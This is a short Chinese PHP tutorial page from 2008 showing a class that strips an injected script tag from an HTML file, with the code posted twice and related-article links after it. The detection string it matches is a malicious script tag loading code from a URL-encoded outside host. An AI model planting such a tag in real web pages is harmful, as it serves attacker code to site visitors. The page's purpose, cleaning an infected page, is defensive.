php 清除網(wǎng)頁病毒的方法
更新時(shí)間:2008年12月05日 00:02:23 作者:
好像是進(jìn)行一些替換操作,大家可以測(cè)試
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒
您可能感興趣的文章:
相關(guān)文章
PHP實(shí)現(xiàn)的微信公眾號(hào)掃碼模擬登錄功能示例
這篇文章主要介紹了PHP實(shí)現(xiàn)的微信公眾號(hào)掃碼模擬登錄功能,涉及php針對(duì)微信公眾平臺(tái)接口的調(diào)用與交互相關(guān)操作技巧,需要的朋友可以參考下2019-05-05
php實(shí)現(xiàn)統(tǒng)計(jì)目錄文件大小的函數(shù)
本文給大家介紹了使用php實(shí)現(xiàn)統(tǒng)計(jì)目錄文件大小的函數(shù),其主要的思路是通過遞歸遍歷目錄中的所有文件從而計(jì)算出文件總大小的,有需要的小伙伴可以參考下2015-12-12

